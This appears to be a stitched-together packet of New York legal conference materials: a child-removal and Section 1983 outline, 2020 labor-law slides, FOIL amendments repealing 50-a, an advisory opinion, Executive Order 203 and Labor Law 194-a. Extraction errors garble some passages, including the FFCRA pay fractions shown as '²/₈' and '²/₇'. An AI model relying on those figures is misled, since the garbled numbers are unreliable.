1. "An individual suffers a constitutional deprivation of a right to a fair trial when an (1) investigating official (2) fabricates evidence (3) that is likely to influence a jury's decision, (4) forwards that information to prosecutors, and (5) the plaintiff suffers a deprivation of liberty as a result." *Cook v. City of New York*, 243 F.Supp.3d 332, 351 (E.D.N.Y.2017)(internal quotation and citation omitted).


1. Failure to State a Claim

   a. A parent may not lawfully be deprived of the custody of his or her child without a hearing “at a meaningful time and in a meaningful manner.” *Armstrong v. Manzo*, 380 U.S. 545, 552, 85 S.Ct. 1187, 1191, 14 L.Ed.2d 62 (1965).

   b. It is established, however, that government officials may remove a child from his or her parents' custody before a hearing is held where there is an objectively reasonable basis for believing that a threat to the child's health or safety is imminent. See, e.g., *Cecere v. City of New York*, 967 F.2d 826, 829 (2d Cir.1995); *Hurlman v. Rice*, 927 F.2d 74, 80 (2d Cir.1991); *Robison v. Via*, 821 F.2d 913, 921–22 (2d Cir.1987); *Duchesne v. Sugarman*, 566 F.2d 817, 826 (2d Cir.1977).

   c. Where there has been an emergency removal of a child from a parent's custody without a hearing, due process requires
that the state procedures provide the parent an opportunity to be heard at a reasonably prompt time after the removal. See generally *Armstrong v. Manzo*, 380 U.S. at 552, 85 S.Ct. at 1191.

1. Failure to State a Claim
   a. Conclusory Claims
2. Federal Qualified Immunity
   Statutory immunity pursuant to New York Social Services § 419

xii. 42 U.S.C. § 1983 – Conspiracy to Violate Constitutional Rights
1. In order to state a claim for conspiracy claim under §1983, a plaintiff must allege facts plausibly showing: "(1) an agreement between two or more state actors or between a state actor and a private entity; (2) to act in concert to inflict an unconstitutional injury; and (3) an overt act done in furtherance of that goal causing damages." *Pangburn v. Culbertson*, 200 F.3d 65, 72 (2d Cir.1999). See also: *Trombley*, supra, at 96-97; *Walker v. Tormey*, 178 F. Supp. 3d 53, 66 (N.D.N.Y. 2016).
2. "A violated constitutional right is a natural prerequisite to a claim of conspiracy to violate such right. Thus, if a plaintiff cannot sufficiently allege a violation of his rights, it follows that he cannot sustain a claim of conspiracy to violate those rights." *Fitzgerald v. City of Troy*, N.Y., 2012 WL 5986547 at *23 (N.D.N.Y., 2012). See also: *Trombley*, supra at 97.

1. In order to state an equal protection claim, a plaintiff must demonstrate that they are a member of a protected class, that similarly situated persons were treated differently, and that there was no rational basis for the difference in treatment. *Trombley, supra*, at 96.
2. When there is probable cause and a rational basis for the investigations and prosecution of the Department of Social Services and the District Attorney’s Office, parent’s equal protection claims must fail.

III. Prevention: How to Handle a Case When Suspecting Child Neglect and/or Endangerment

a. Determining When Child May Be Removed Prior to Court Intervention
   i. Determine whether case falls under abuse and neglect provisions. FCA § 1012; SSL § 424;
      1. “Abused child” means a child less than eighteen years of age whose parent or other person legally responsible for his care. FCA § 1012(e).
a. (i) inflicts or allows to be inflicted upon such child physical injury by other than accidental means which causes or creates a substantial risk of death, or serious or protracted disfigurement, or protracted impairment of physical or emotional health or protracted loss or impairment of the function of any bodily organ, or
b. (ii) creates or allows to be created a substantial risk of physical injury to such child by other than accidental means which would be likely to cause death or serious or protracted disfigurement, or protracted impairment of physical or emotional health or protracted loss or impairment of the function of any bodily organ, or
c. (iii) (A) commits, or allows to be committed an offense against such child defined in article one hundred thirty of the penal law; (B) allows, permits or encourages such child to engage in any act described in sections 230.25, 230.30, 230.32 and 230.34-a of the penal law; (C) commits any of the acts described in sections 255.25, 255.26 and 255.27 of the penal law; (D) allows such child to engage in acts or conduct described in article two hundred sixty-three of the penal law; or (E) permits or encourages such child to engage in any act or commits or allows to be committed against such child any offense that would render such child either a victim of sex trafficking or a victim of severe forms of trafficking in persons pursuant to 22 U.S.C. 7102 as enacted by public law 106-386 or any successor federal statute; (F) provided, however, that (1) the corroboration requirements contained in the penal law and (2) the age requirement for the application of article two hundred sixty-three of such law shall not apply to proceedings under this article.
   i. FCA § 1012(e).

2. “Neglected child” means a child less than eighteen years of age. FCA § 1012(f).
   a. Whose physical, mental or emotional condition has been impaired or is in imminent danger of becoming impaired as a result of the failure of his parent or other person legally responsible for his care to exercise a minimum degree of care. FCA § 1012(f)(i).

   ii. Consider as counsel for agency, parent, or child, whether family court intervention is necessary to protect child. SSL § 424;

   iii. Be mindful, in conducting review, of possible criminal implications of child protective investigation and case;
iv. Be mindful, in conducting review, of possible cultural sensitivities;

v. Document case notes with the intent that possible judicial intervention is to follow;

vi. Protect due process rights of parents and families, when family court intervention is permissible;

vii. Attempt to settle any outstanding issues regarding CPS investigation and devise temporary resolution of matter if child has been temporarily removed and petition is not yet filed;

viii. Attempt to arrange for alternative child care, if warranted, with consent of CPS and parent without court involvement as part of required reasonable efforts to prevent placement of child into foster care;


1. Emergency Removal Without Court Order:
   a. Such person has reasonable cause to believe that the child is in such circumstance or condition that his or her continuing in said place of residence or in the care and custody of the parent or person legally responsible for the child's care presents an imminent danger to the child's life or health; and
   b. There is not time enough to apply for an order under section one thousand twenty-two of this article.
      i. FCA § 1024(a)(i)-(ii).

2. After Removal:
   a. He shall bring the child immediately to a place approved for such purpose by the local social services department, unless the person is a physician treating the child and the child is or will be presently admitted to a hospital, and
   b. Make every reasonable effort to inform the parent or other person legally responsible for the child's care of the facility to which he has brought the child, and
   c. Give, coincident with removal, written notice to the parent or other person legally responsible for the child's care of the right to apply to the family court for the return of the child pursuant to section one thousand twenty-eight of this act, and of the right to be represented by counsel in proceedings brought pursuant to this article and procedures for obtaining counsel, if indigent, and
(Detailed Topic Outline)

d. inform the court and make a report pursuant to title six of the social services law, as soon as possible.
   i. FCA § 1024(b)(i)-(iii).
The Top Ten Hits for 2020—An Update on Labor and Employment Law Developments Affecting Counties

John F. Corcoran, Esq.
Whitney Kummerow, Esq.
The Top Ten Hits for 2020 – An Update on Labor and Employment Law Developments Affecting Counties

2020 CAASNY Annual Meeting
Via Zoom® on September 14, 2020

John F. Corcoran, Esq.
Whitney M. Kummerow, Esq.
What a Slogan!

－“During the pandemic, we should not expect perfection in anything we do.”
Until recently, Section 50-a of the NYS Civil Rights Law provided that personnel records of police officers, deputy sheriffs, correction officers, and paid firefighters used to evaluate performance toward continued employment were specifically exempted from disclosure unless pursuant to court order.

On June 12, 2020, Governor Cuomo signed into law Chapter 96 of the Laws of 2020 repealing Section 50-a and amending FOIL to add provisions on law enforcement disciplinary records. See Supplemental Materials.
Section 86 of the Public Officers Law ("POL") was amended to add four new subdivisions:

- (6) Defines “law enforcement disciplinary records” as “any record created in furtherance of a law enforcement disciplinary proceeding” including complaints, allegations, and charges against employee; name of the employee; transcript of any disciplinary trial or hearing including exhibits; the disposition of the matter including final written decision, agency’s factual findings, and analysis of conduct and appropriate discipline.
(7) Defines “law enforcement disciplinary proceeding” as commencement of any investigation and any subsequent hearing or disciplinary action.

(8) Defines “law enforcement agency” as any police agency employing police officers as defined in Section 1.20 of the NYS Criminal Procedure Law; a sheriff’s department; local department of correction; local probation department; fire department; or force of firefighters or firefighter/paramedics.
FOIL Developments

- (9) Defines “technical infraction” as a minor rule violation solely related to enforcement of administrative departmental rules that do not:
  - involve interactions with the public, are not of public concern, and are not “otherwise connected to such person’s investigative, enforcement, training, supervision, or reporting responsibilities.”
Section 87 of the POL was also amended to add two new subdivisions 4-a and 4-b to identify required or permitted redactions when confronted with a FOIL request for law enforcement disciplinary records.

You shall redact:

- medical histories but not including records obtained during course of agency’s investigation of the employee’s misconduct that are relevant to the disposition of the investigation.
You shall also redact:
- home addresses;
- personal telephone numbers;
- personal e-mail addresses;
- social security numbers;
- employee’s use of an EAP, mental health service, or substance abuse assistive service, unless use is mandated by the law enforcement disciplinary proceeding.
FOIL Developments

- You may redact:
  - records pertaining to “technical infractions.”

- According to the Committee on Open Government (“COG”), the new provisions of FOIL did not make changes to the “unwarranted invasion of personal privacy” exemption in Section 87(2)(b) of the POL. See July 27, 2020 Advisory Opinion issued to City of Syracuse in Supplemental Materials.
Therefore, according to COG, unsubstantiated, unfounded, or unproven complaints, or exonerated complaints, are subject to the personal privacy exemption as applied to law enforcement disciplinary records as has long been true with regard to non-law enforcement personnel.

Although no court has formally held as much, the COG noted that at least two courts (NYS Supreme Court – Erie County and U.S. SDNY) have temporarily enjoined disclosure of such complaints pending final determinations.
FOIL Developments

- COG also opined that the law enforcement “technical infractions” records enjoy greater protection from disclosure than those contained in the disciplinary records of non-law enforcement personnel.
FOIL Developments

- Chapter 96 of the Laws of 2020 has spurred a higher level of FOIL requests for the disclosure of law enforcement disciplinary records and personnel file materials:
  - MuckRock FOIL requests
  - media FOIL requests
  - “concerned citizen” FOIL requests
Other FOIL exemptions under Section 87(2) of POL may also apply to FOIL requests for the disciplinary and personnel file materials:

- Law enforcement exemption (interfere with criminal investigations or judicial proceedings, ID confidential sources, reveal non-routine investigative techniques or procedures)
- Personal safety exemption
- Intra-agency or inter-agency materials not consisting of factual data or final agency determinations
Collective Bargaining Trends

- Are we still on pause?
- Are we negotiating face-to-face or remotely?
- Rollover agreements are on the rise.
- Settlements continue to be modest.
- PERB is offering remote mediations.
Collective Bargaining Trends

- Early COVID-19 – bonus pay额外 pay/extra paid leave time for the “essentials.”

- More recently – voluntary unpaid furloughs/temporary layoffs.

- Union bargaining demands related to FOIL requests for police officer/deputy sheriff personnel records.

- Yet to come – effects bargaining due to layoffs?
Police Reform

- Governor Cuomo’s Executive Order No. 203 (6/12/20)( See Supplemental Materials).

Police Reform

- Each county with a police agency must perform comprehensive review of many items associated with policing and develop a written plan for improvements.

- Chief executive officer must convene Sheriff and community stakeholders to develop the plan.
Plan must be offered for public comment and presented to county’s legislative body for ratification or adoption via local law or resolution, as appropriate, no later than 4/1/21.

County must certify existence of plan to State Director of the Division of the Budget, or risk loss of state or federal funds.
Potential labor issues – bargaining demands/improper practice charges/contract grievances over establishment/operation of police review boards (i.e., police accountability boards or citizen review boards).
Salary History Ban

- Effective January 6, 2020, NYS Labor Law Section 194-a prohibits private and public sector employers from making any inquiries about a job applicant’s, or current employee’s, salary history which includes compensation and benefits. See Supplement.

- The employer may, however, ask an applicant about salary expectations for the position.

Guarantees job-protected paid leave to workers who are subject to a mandatory or precautionary order of quarantine or isolation for COVID-19, issued by the State of New York, the Department of Health, local board of health, or any government entity duly authorized to issue such order, or whose minor dependent child is under such an order.
NYS COVID-19 Paid Leave

- Public employers (no matter how many employees) must provide employees with:
  - Job protection for the duration of the order of quarantine or isolation; and
  - At least 14 days of paid sick leave.

- Not available to employees who are able to work through remote access or through other means.
NYS Travel Advisory

“In response to increased rates of COVID-19 transmission in certain states within the United States, and to protect New York’s successful containment of COVID-19, the State has joined with New Jersey and Connecticut in jointly issuing a travel advisory for anyone returning from travel to states that have a significant degree of community-wide spread of COVID-19.”
NYS Travel Advisory

- If you have traveled from within one of the designated states with significant community spread, you must quarantine when you enter New York for 14 days from the last travel within such designated state, provided on the date you enter into New York State that such state met the criteria for requiring such quarantine.

- The requirements of the travel advisory do not apply to any individual passing through designated states for a limited duration (i.e., less than 24 hours) through the course of travel.
NYS Travel Advisory

- If you have traveled from within one of the designated states with significant community spread, you must quarantine when you enter New York for 14 days from the last travel within such designated state, provided on the date you enter into New York State that such state met the criteria for requiring such quarantine.

- The requirements of the travel advisory do not apply to any individual passing through designated states for a limited duration (i.e., less than 24 hours) through the course of travel.
NYS Travel Advisory

- Extensive quarantine requirements.

- Restricted state list based upon a seven day rolling average, of positive tests in excess of 10%, or number of positive cases exceeding 10 per 100,000 residents.

NYS Travel Advisory

- Employees forgo NYS COVID-19 paid sick leave benefits if they engage in non-essential travel to high risk states (mirrors provision re: traveling to CDC’s “hot spot” countries).

- Travel advisory does not apply if the employee travels for work or at the employer’s request.
EMPLOYEE RIGHTS
PAID SICK LEAVE AND EXPANDED FAMILY AND MEDICAL LEAVE UNDER THE FAMILIES FIRST CORONAVIRUS RESPONSE ACT

The Families First Coronavirus Response Act (FFCRA or Act) requires certain employers to provide their employees with paid sick leave and expanded family and medical leave for specified reasons related to COVID-19. These provisions will apply from April 1, 2020 through December 31, 2020.

▶ PAID LEAVE ENTITLEMENTS
Generally, employers covered under the Act must provide employees:
Up to two weeks (80 hours, or a part-time employee’s two-week equivalent) of paid sick leave based on the higher of their regular rate of pay, or the applicable state or Federal minimum wage, paid at:
- 100% for qualifying reasons #1-3 below, up to $511 daily and $5,110 total;
- ²/₈ for qualifying reasons #4 and #6 below, up to $200 daily and $2,000 total; and
- Up to 12 weeks of paid sick leave and expanded family and medical leave paid at ²/₇ for qualifying reason #5 below for up to $200 daily and $12,000 total.

A part-time employee is eligible for leave for the number of hours that the employee is normally scheduled to work over that period.

▶ ELIGIBLE EMPLOYEES
In general, employees of private sector employers with fewer than 500 employees, and certain public sector employers, are eligible for up to two weeks of fully or partially paid sick leave for COVID-19 related reasons (see below). Employees who have been employed for at least 30 days prior to their leave request may be eligible for up to an additional 10 weeks of partially paid expanded family and medical leave for reason #5 below.

▶ QUALIFYING REASONS FOR LEAVE RELATED TO COVID-19
An employee is entitled to take leave related to COVID-19 if the employee is unable to work, including unable to telework, because the employee:

1. is subject to a Federal, State, or local quarantine or isolation order related to COVID-19;
2. has been advised by a health care provider to self-quarantine related to COVID-19;
3. is experiencing COVID-19 symptoms and is seeking a medical diagnosis;
4. is caring for an individual subject to an order described in (1) or self-quarantine as described in (2);
5. is caring for his or her child whose school or place of care is closed (or child care provider is unavailable) due to COVID-19 related reasons; or
6. is experiencing any other substantially-similar condition specified by the U.S. Department of Health and Human Services.

▶ ENFORCEMENT
The Department of Labor will ensure compliance with the FFCRA and will issue regulations, policies, and guidance to help employers understand and comply with the Act. Employers are encouraged to consult a legal advisor to understand the FFCRA and any applicable state or local laws in their jurisdiction.

For more information or to file a complaint, visit the Department of Labor’s Wage and Hour Division COVID-19 website at https://www.dol.gov/agencies/whd/coronavirus.
Families First Coronavirus Response Act

- Exempted by USDOL guidance:
  - “Health care workers”
    - Anyone employed by a healthcare center, nursing facility, retirement home, pharmacy, etc.
  - “Emergency responders”
    - Anyone necessary for the provision of transport, care, healthcare, comfort and nutrition of such patients, or others needed for the response to COVID-19.

August 3, 2020 decision from Judge J. Paul Oetken of the U.S. District Court for the S.D.N.Y. vacated parts of USDOL’s final rule that:

- Broadly defined healthcare exemptions;
- Allowed employers to deny leave if work wasn’t available; and
- Required workers to get employer consent to take intermittent leave.
SDNY Decision’s Outstanding Issues

- Does this decision apply nationwide? Only to NY?

- What’s USDOL’s next move?
  - Has until early October to appeal
  - Guidance remains online...
  - Considering issuing new rule?
  - No direction given to W&H Investigators...
Where does this leave employees who may need intermittent leave under the FFRCA due to “hybrid” school re-openings in certain school districts?
Remote Work Reminder

- At minimum, ensure reasonable time reporting procedures are in place and that employees are clearly on notice of those procedures.

- Doing so may limit liability for potential wage & hour claims from overtime non-exempt employees.
Generally, employees are eligible for up to two hours of paid time off to vote if they do not have “sufficient time to vote” (meaning an employee has four consecutive hours to vote either from the opening of the polls to the beginning of their work shift, or four consecutive hours between the end of a working shift and the closing of the polls).

Must provide two business days’ notice.
Reminder: On July 12, 2019, Governor Cuomo signed into law S.6209A/A.7797A, which amended the Human Rights Law and Dignity for All Students Act to make clear that discrimination based on race includes hairstyles or traits associated with race.
Questions/Contact Information

- Whitney M. Kummerow, Esq./John F. Corcoran, Esq.

- Hancock Estabrook, LLP, 1800 AXA Tower I, 100 Madison Street, Syracuse, New York 13202

- Phone: 315-565-4515

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Disclaimer

This presentation is for informational purposes and is not intended as legal advice.
AN ACT to amend the civil rights law and the public officers law, in relation to the disclosure of law enforcement disciplinary records; and to repeal section 50-a of the civil rights law relating thereto.

The People of the State of New York, represented in Senate and Assembly, do enact as follows:

Section 1. Section 50-a of the civil rights law is REPEALED.

§ 2. Section 86 of the public officers law is amended by adding four new subdivisions 6, 7, 8 and 9 to read as follows:

6. "Law enforcement disciplinary records" means any record created in furtherance of a law enforcement disciplinary proceeding, including, but not limited to:
   (a) the complaints, allegations, and charges against an employee;
   (b) the name of the employee complained of or charged;
   (c) the transcript of any disciplinary trial or hearing, including any exhibits introduced at such trial or hearing;
   (d) the disposition of any disciplinary proceeding; and
   (e) the final written opinion or memorandum supporting the disposition and discipline imposed including the agency's complete factual findings and its analysis of the conduct and appropriate discipline of the covered employee.

7. "Law enforcement disciplinary proceeding" means the commencement of any investigation and any subsequent hearing or disciplinary action conducted by a law enforcement agency.

8. "Law enforcement agency" means a police agency or department of the state or any political subdivision thereof, including authorities or agencies maintaining police forces of individuals defined as police officers in section 1.20 of the criminal procedure law, a sheriff's department, the department of corrections and community supervision, a local department of correction, a local probation department, a fire department, or force of individuals employed as firefighters or firefighter/paramedics.

EXPLANATION--Matter in italics (underscored) is new; matter in brackets [—] is old law to be omitted.
9. "Technical infraction" means a minor rule violation by a person employed by a law enforcement agency as defined in this section as a police officer, peace officer, or firefighter or firefighter/paramedic, solely related to the enforcement of administrative departmental rules that (a) do not involve interactions with members of the public, (b) are not of public concern, and (c) are not otherwise connected to such person's investigative, enforcement, training, supervision, or reporting responsibilities.

§ 3. Section 87 of the public officers law is amended by adding two new subdivisions 4-a and 4-b to read as follows:

4-a. A law enforcement agency responding to a request for law enforcement disciplinary records as defined in section eighty-six of this article shall redact any portion of such record containing the information specified in subdivision two-b of section eighty-nine of this article prior to disclosing such record under this article.

4-b. A law enforcement agency responding to a request for law enforcement disciplinary records, as defined in section eighty-six of this article, may redact any portion of such record containing the information specified in subdivision two-c of section eighty-nine of this article prior to disclosing such record under this article.

§ 4. Section 89 of the public officers law is amended by adding two new subdivisions 2-b and 2-c to read as follows:

2-b. For records that constitute law enforcement disciplinary records as defined in subdivision six of section eighty-six of this article, a law enforcement agency shall redact the following information from such records prior to disclosing such records under this article:

(a) items involving the medical history of a person employed by a law enforcement agency as defined in section eighty-six of this article as a police officer, peace officer, or firefighter or firefighter/paramedic, not including records obtained during the course of an agency's investigation of such person's misconduct that are relevant to the disposition of such investigation;

(b) the home addresses, personal telephone numbers, personal cell phone numbers, personal e-mail addresses of a person employed by a law enforcement agency as defined in section eighty-six of this article as a police officer, peace officer, or firefighter or firefighter/paramedic, or a family member of such a person, a complainant or any other person named in a law enforcement disciplinary record, except where required pursuant to article fourteen of the civil service law, or in accordance with subdivision four of section two hundred eight of the civil service law, or as otherwise required by law. This paragraph shall not prohibit other provisions of law regarding work-related, publicly available information such as title, salary, and dates of employment;

(c) any social security numbers; or

(d) disclosure of the use of an employee assistance program, mental health service, or substance abuse assistance service by a person employed by a law enforcement agency as defined in section eighty-six of this article as a police officer, peace officer, or firefighter or firefighter/paramedic, unless such use is mandated by a law enforcement disciplinary proceeding that may otherwise be disclosed pursuant to this article.

2-c. For records that constitute "law enforcement disciplinary records" as defined in subdivision six of section eighty-six of this article, a law enforcement agency may redact records pertaining to technical infractions as defined in subdivision nine of section eighty-six of this article prior to disclosing such records under this article.
§ 5. This act shall take effect immediately.
Information on Novel Coronavirus

Coronavirus is still active in New York. We have to be smart. Wear a mask and maintain 6 feet distance in public.

State of New York
Department of State
Committee on Open Government

One Commerce Plaza
99 Washington Ave.
Albany, New York 12231
(518) 474-2518
Fax (518) 474-1927
http://www.dos.ny.gov/coog/

FOIL AO 19775

By electronic mail only

July 27, 2020

The staff of the Committee on Open Government is authorized to issue advisory opinions. The ensuing staff advisory opinion is based solely upon the information presented in your correspondence, except as otherwise indicated.

Dear:

I am writing in response to your request for an advisory opinion regarding the obligations of the City of Syracuse (the "City") under the Freedom of Information Law (FOIL) in connection with requests for law enforcement disciplinary records, specifically relating to unsubstantiated and unfounded complaints against a police officer. In your inquiry, you note that Public Officers Law § 86(5)(a) defines "law enforcement disciplinary records" to include "complaints, allegations, and charges against an employee." You ask whether "an employer of a law enforcement employee could lawfully withhold unsubstantiated and unfounded complaints against an officer, or if the employer is obligated to disclose all complaints against an employee regardless of outcome." I note that yours is the first, but not the only, inquiry we have received in recent weeks asking this question.

As you know, until very recently, personnel records of police officers, corrections officers, and paid firefighters that were used to evaluate performance toward continued employment were specifically exempted from disclosure by state statute: Civil Rights Law § 50-a and, because of this, Public Officers Law § 87(2)(a). On June 12, 2020, however, Governor Andrew M. Cuomo signed into law Chapter 96 of the Laws of 2020 repealing Civil Rights Law § 50-a and amending FOIL to add certain provisions relating to law enforcement disciplinary records. Where prior to June 12, 2020, access to personnel records of a police officer was governed by § 50-a and the resulting FOIL exemption pursuant to § 87(a)(2), ending the FOIL analysis immediately, access is now governed by FOIL alone.

As a general matter, FOIL is based upon a presumption of access. All records of an agency are available except to the extent that records or portions thereof fall within one or more grounds for exemption appearing in § 87(2)(a) through (q) of the Law. Section 87(2)(b) of FOIL, a provision which until June 12, 2020, had not been applied to law enforcement disciplinary records because of Civil Rights Law § 50-a, permits an agency to withhold records or portions of records which "if disclosed would constitute an unwarranted invasion of personal privacy under the provisions of subdivision two of section eighty-nine of this article ...." As you note in your inquiry, the Committee on Open Government has frequently addressed issues relating to rights of access to disciplinary records of public employees pursuant to this subsection of the FOIL.

In FOIL Advisory Opinion 17195, staff of the Committee opined that a record of an unsubstantiated or unfounded complaint may be withheld under FOIL where the agency determines such complaint would constitute an unwarranted invasion of personal privacy:

The exception of significance is § 87(2)(b), which authorizes an agency to withhold records insofar as disclosure would constitute "an unwarranted invasion of personal privacy." Although the standard concerning privacy is flexible and may be subject to conflicting interpretations, the courts have provided substantial direction regarding the privacy of public employees. It is clear that public employees enjoy a lesser degree of privacy than others, for it has been found in various contexts that they are required to be

https://docs.dos.ny.gov/coog/fext/fl9775.html

8/26/2020
more accountable than others. The courts have found that, as a general rule, records that are relevant to the performance of one's official duties are available, for disclosure in such instances would result in a permissible rather than an unwarranted invasion of personal privacy.... Conversely, to the extent that records are irrelevant to the performance of one's official duties, it has been found that disclosure would indeed constitute an unwarranted invasion of personal privacy.... When allegations or charges of misconduct have not yet been determined or did not result in disciplinary action, the records relating to such allegations may, in my view, be withheld, for disclosure would result in an unwarranted invasion of personal privacy [see e.g., Herald Company v. School District of City of Syracuse, 430 NYS 2d 460 (1980)]. Further, to the extent that charges are dismissed or allegations are found to be without merit, I believe that they may be withheld based on considerations of privacy.

Committee staff have issued similar opinions in FOIL AO 19771, FOIL AO 16764, FOIL AO 12802, FOIL AO 12722, FOIL AO 11747, FOIL AO 9463, and FOIL AO 7602. In sum, Committee staff have long advised that where an agency determines that a record of an unsubstantiated or unfounded complaint would, if disclosed (even in a redacted form (see, e.g., FOIL AO 19771)), constitute an unwarranted invasion of personal privacy, such record need not be disclosed.

The new provisions of FOIL did not make changes to provisions concerning personal privacy as defined in § 87(2)(b). Based on our long-standing interpretation that requires an agency to determine if an unsubstantiated or unfounded complaint against an employee would, if disclosed, constitute an unwarranted invasion of personal privacy, and absent language expressing that the legislature intended that law enforcement disciplinary records should enjoy less protection than the disciplinary records of other government employees, we do not impute such an intent. Moreover, while no court has yet issued an opinion formally answering the question whether unsubstantiated complaints against law enforcement personnel must be disclosed pursuant to FOIL, at least two have recently temporarily enjoined the disclosure of such complaints pending a final determination. [1]

In further support of this interpretation, there is a suggestion in the new FOIL provisions that some law enforcement disciplinary records, which the legislature calls "technical infractions" (FOIL § 89(2-c), enjoy greater (rather than less) protection than such infractions contained in the disciplinary records of other government employees. In other words, while there is some express language in the statute to render certain records of law enforcement agency employees less available than those of other government employees, there is nothing in the statute to suggest that the legislature intended that any of the records of law enforcement agency employees be more available than the records of other government employees.

Accordingly, it is our opinion, in the absence of judicial precedent or legislative direction, that the law does not require a law enforcement agency to disclose "unsubstantiated and unfounded complaints against an officer" where such agency determines that disclosure of the complaint would constitute an unwarranted invasion of personal privacy, but also does not require an agency to withhold such a record. Rather, as with all of the FOIL exemptions except § 87(2-a), which no longer applies to this situation since the repeal of § 50-a, an agency may, but not must, withhold as exempt a record meeting the criteria for such exemption. In light of the repeal of § 50-a, a request for disciplinary records relating to a police officer must be reviewed in the same manner as a request for disciplinary records of any other public employee. As such, based on our prior analyses of the disclosure requirements relating to disciplinary records of government employees generally, when allegations or charges of misconduct have not yet been determined or did not result in disciplinary action, the records relating to such allegations may, in our view be withheld where the agency determines that disclosure would result in an unwarranted invasion of personal privacy. In addition, to the extent that charges are dismissed, or allegations are found to be without merit, we believe that those records also may be withheld based on considerations of privacy.


Thank you for your inquiry.

Very truly yours,

/s/ Shoshannah Bewlay
Shoshannah Bewlay
Executive Director
SVB/ko
FOIL-AO-19775
19775

https://docs.dos.ny.gov/coog/ftext/f19775.html
8/26/2020
JUNE 12, 2020    Albany, NY

No. 203: New York State Police Reform and Reinvention Collaborative

No. 203

EXECUTIVE ORDER

NEW YORK STATE POLICE REFORM AND REINVENTION COLLABORATIVE

WHEREAS, the Constitution of the State of New York obliges the Governor to take care that the laws of New York are faithfully executed; and

WHEREAS, I have solemnly sworn, pursuant to Article 13, Section 1 of the Constitution, to support the Constitution and faithfully discharge the duties of the Office of Governor; and

WHEREAS, beginning on May 25, 2020, following the police-involved death of George Floyd in Minnesota, protests have taken place daily throughout the nation and in communities across New York State in response to police-involved deaths and racially-biased law enforcement to demand change, action, and accountability; and

WHEREAS, there is a long and painful history in New York State of discrimination and mistreatment of black and African-American citizens dating back to the arrival of the first enslaved Africans in America; and

WHEREAS, this recent history includes a number of incidents involving the police that have resulted in the deaths of unarmed civilians, predominantly black and African-American men, that have undermined the public’s confidence and trust in our system of law enforcement and criminal justice, and such condition is ongoing and urgently needs to be rectified; and

WHEREAS, these deaths in New York State include those of Anthony Baez, Amadou Diallo, Ousmane Zango, Sean Bell, Ramarley Graham, Patrick Dorismond, Akai Gurley, and Eric Garner, amongst others, and, in other states, include Oscar Grant, Trayvon Martin, Michael Brown, Tamir Rice, Laquan McDonald, Walter Scott, Freddie Gray, Philando Castile, Antwon Rose Jr., Ahmaud Arbery, Breonna Taylor, and George Floyd, amongst others,

WHEREAS, these needless deaths have led me to sign into law the Say Their Name Agenda which reforms aspects of policing in New York State; and

WHEREAS, government has a responsibility to ensure that all of its citizens are treated equally, fairly, and justly before the law; and

WHEREAS, recent outpouring of protests and demonstrations which have been manifested in every area of the state have illustrated the depth and breadth of the concern; and

WHEREAS, black lives matter; and

WHEREAS, the foregoing compels me to conclude that urgent and immediate action is needed to eliminate racial inequities in policing, to modify and modernize policing strategies, policies, procedures, and practices, and to
develop practices to better address the particular needs of communities of color to promote public safety, improve community engagement, and foster trust; and

WHEREAS, the Division of the Budget is empowered to determine the appropriate use of funds in furtherance of the state laws and New York State Constitution; and

WHEREAS, in coordination with the resources of the Division of Criminal Justice Services, the Division of the Budget can increase the effectiveness of the criminal justice system by ensuring that the local police agencies within the state have been actively engaged with stakeholders in the local community and have locally-approved plans for the strategies, policies and procedures of local police agencies; and

NOW, THEREFORE, I, Andrew M. Cuomo, Governor of the State of New York, by virtue of the authority vested in me by the Constitution and the Laws of the State of New York, in particular Article IV, section one, I do hereby order and direct as follows:

The director of the Division of the Budget, in consultation with the Division of Criminal Justice Services, shall promulgate guidance to be sent to all local governments directing that:

Each local government entity which has a police agency operating with police officers as defined under 1.20 of the criminal procedure law must perform a comprehensive review of current police force deployments, strategies, policies, procedures, and practices, and develop a plan to improve such deployments, strategies, policies, procedures, and practices, for the purposes of addressing the particular needs of the communities served by such police agency and promote community engagement to foster trust, fairness, and
legitimacy, and to address any racial bias and disproportionate policing of communities of color.

Each chief executive of such local government shall convene the head of the local police agency, and stakeholders in the community to develop such plan, which shall consider evidence-based policing strategies, including but not limited to, use of force policies, procedural justice; any studies addressing systemic racial bias or racial justice in policing; implicit bias awareness training; de-escalation training and practices; law enforcement assisted diversion programs; restorative justice practices; community-based outreach and conflict resolution; problem-oriented policing; hot spots policing; focused deterrence; crime prevention through environmental design; violence prevention and reduction interventions; model policies and guidelines promulgated by the New York State Municipal Police Training Council; and standards promulgated by the New York State Law Enforcement Accreditation Program.

The political subdivision, in coordination with its police agency, must consult with stakeholders, including but not limited to membership and leadership of the local police force; members of the community, with emphasis in areas with high numbers of police and community interactions; interested non-profit and faith-based community groups; the local office of the district attorney; the local public defender; and local elected officials, and create a plan to adopt and implement the recommendations resulting from its review and consultation, including any modifications, modernizations, and innovations to its policing deployments, strategies, policies, procedures, and practices, tailored to the specific needs of the community and general promotion of improved police agency and community relationships based on trust, fairness, accountability, and transparency, and which seek to reduce any racial disparities in policing.
Such plan shall be offered for public comment to all citizens in the locality, and after consideration of such comments, shall be presented to the local legislative body in such political subdivision, which shall ratify or adopt such plan by local law or resolution, as appropriate, no later than April 1, 2021; and

Such local government shall transmit a certification to the Director of the Division of the Budget to affirm that such process has been complied with and such local law or resolution has been adopted; and

The Director of the Division of the Budget shall be authorized to condition receipt of future appropriated state or federal funds upon filing of such certification for which such local government would otherwise be eligible; and

The Director is authorized to seek the support and assistance of any state agency in order to effectuate these purposes.

GIVEN under my hand and the Privy Seal of the State in the City of Albany this twelfth day of June in the year two thousand twenty.

BY THE GOVERNOR

Secretary to the Governor
§ 194-a. Wage or salary history inquiries prohibited

Currentness

1. No employer shall:

   a. rely on the wage or salary history of an applicant in determining whether to offer employment to such individual or in determining the wages or salary for such individual.

   b. orally or in writing seek, request, or require the wage or salary history from an applicant or current employee as a condition to be interviewed, or as a condition of continuing to be considered for an offer of employment, or as a condition of employment or promotion.

   c. orally or in writing seek, request, or require the wage or salary history of an applicant or current employee from a current or former employer, current or former employee, or agent of the applicant or current employee's current or former employer, except as provided in subdivision three of this section.

   d. refuse to interview, hire, promote, otherwise employ, or otherwise retaliate against an applicant or current employee based upon prior wage or salary history.

   e. refuse to interview, hire, promote, otherwise employ, or otherwise retaliate against an applicant or current employee because such applicant or current employee did not provide wage or salary history in accordance with this section.

   f. refuse to interview, hire, promote, otherwise employ, or otherwise retaliate against an applicant or current employee because the applicant or current or former employee filed a complaint with the department alleging a violation of this section.

